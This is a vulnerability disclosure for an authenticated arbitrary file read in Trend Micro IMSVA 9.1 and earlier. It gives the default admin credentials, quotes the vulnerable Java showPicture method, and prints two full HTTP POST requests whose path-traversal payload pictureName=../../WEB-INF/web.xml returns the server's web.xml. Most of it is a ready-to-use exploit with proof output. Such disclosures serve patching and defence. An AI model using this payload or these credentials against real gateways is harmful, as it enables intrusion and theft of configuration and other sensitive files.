Arbitrary file read in Trend Micro IMSVA V 9.1

Author: notyeat [https://github.com/notyeat]

Affect: <=9.1

Login first,use the default password: admin/imsva

The vulnerability url is in showReportDetailPicture.imss

Read the source code:

com.trendmicro.imss.ui.report. DetailReportAction

line 15

```
public class DetailReportAction extends RptBaseAction
{
    public ActionForward executeAction(final ActionMapping mapping, final ActionForm form, final HttpServletRequest request,
        DetailReportAction.debugLog.debug((Object)"Enter executeAction() in DetailReportAction.");
        final String subAction = mapping.getParameter();
        DetailReportAction.debugLog.info((Object)("subAction='" + subAction + "' in executeAction()."));
        if (subAction.equalsIgnoreCase( anotherString: "showPicture")) {
            return this.showPicture(mapping, form, request, response);
        }
        final String idStr = request.getParameter( s: "reportID");
        final String typeStr = request.getParameter( s: "reportType");
        final HttpSession session = request.getSession( b: false);
        if (session == null) {
            return mapping.findForward( forwardName: "success");
        }
        boolean bIsFind = false;
        String htmPath = null;
        if (typeStr.equals("1") || typeStr.equals("2") || typeStr.equals("3")) {
            final RptResult rot = (RptResult)session.getAttribute( s: "scheduleRptList");
            if (rot != null && rot.rptList.size() > 0) {
                for (final RptResultEntry item : rot.rptList) {
```

Read the function “showPicture”:

```
public ActionForward showPicture(final ActionMapping mapping, final ActionForm form, final HttpServletRequest request, final
    DetailReportAction.debugLog.debug((Object)"Enter showPicture() in DetailReportAction.");
    final String picName = request.getParameter( s: "pictureName");
    DetailReportAction.debugLog.debug((Object)("Picture name = " + picName));
    final ActionForward fileForward = new ActionForward( path: DetailReportAction.defineRB.getMessage(
            key: "path.reports.graphs") + "/" + picName, redirect: false);
    return fileForward;
}
```

Parameter “pictureName” is not filter, hacker can factor a link to read files, such as web.xml

```
POST /showReportDetailPicture.imss HTTP/1.1
Host: 192.168.31.99:8445
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: CurrentLocale=zh-CN; PHPSESSID=bqrgts3k0rj8ugv2mgesmab4a5;
un=7164ceee6266e893181da6c33936e4a4; userID=1; LANG=en;
wids=modImsvaSystemUseageWidget%2CmodImsvaMailsQueueWidget%2CmodImsva
QuarantineWidget%2CmodImsvaArchiveWidget%2C; lastID=4; theme=default;
cname=dashBoard; lastTab=1;
JSESSIONID=D9CD256C2737899614EDA5BADC34C430
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

pictureName=../../WEB-INF/web.xml
```

```
POST /showReportDetailPicture.imss HTTP/1.1
Host: 192.168.31.99:8445
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/83.0.4103.61 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application
/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: CurrentLocale=zh-CN; PMPSESSID=bqrgts3k0rj8ugv2mgesmab4a5; un=
7164ceee6266e893181da6c33936e4a4; userID=1; LANG=en; wids=
modlmsvaSystemUseageWidget%2CmodlmsvaMailsQueueWidget%2CmodlmsvaQuaraatineWidget%2CmodlmsvaArchiv
eWidget%2C; lastID=4; theme=default; cname=dashBoard; lastTab=1; JSESSIONID=
D9CD256C2737899614EDA8ADC34C4430
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

pictureName=../../WEB-INF/web.xml
```

```
HTTP/1.1 200 OK
Date: Fri, 22 May 2020 08:10:44 GMT
Server: Apache/2.2.31 (Unix)
X-Frame-Options: SAMEORIGIN
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Accept-Ranges: bytes
ETag: W/"4720-1590095404000"
Last-Modified: Thu, 21 May 2020 21:10:04 GMT
Content-Length: 4720
Connection: close
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE web-app
  PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
  <display-name>IMSVA 8.0 UI</display-name>

  <!-- Filters -->
  <filter>
    <filter-name>SessionFilter</filter-name>
    <filter-class>com.trendmicro.imss.ui.framework.SessionFilter</filter-class>
    <init-param>
      <param-name>uiTimeOut</param-name>
      <param-value>30</param-value>
    </init-param>
  </filter>

  <filter-mapping>
    <filter-name>SessionFilter</filter-name>
    <servlet-name>action</servlet-name>
  </filter-mapping>

  <servlet>
    <servlet-name>action</servlet-name>
    <servlet-class>com.trendmicro.imss.ui.framework.ImssActionServlet</servlet-class>
    <init-param>
```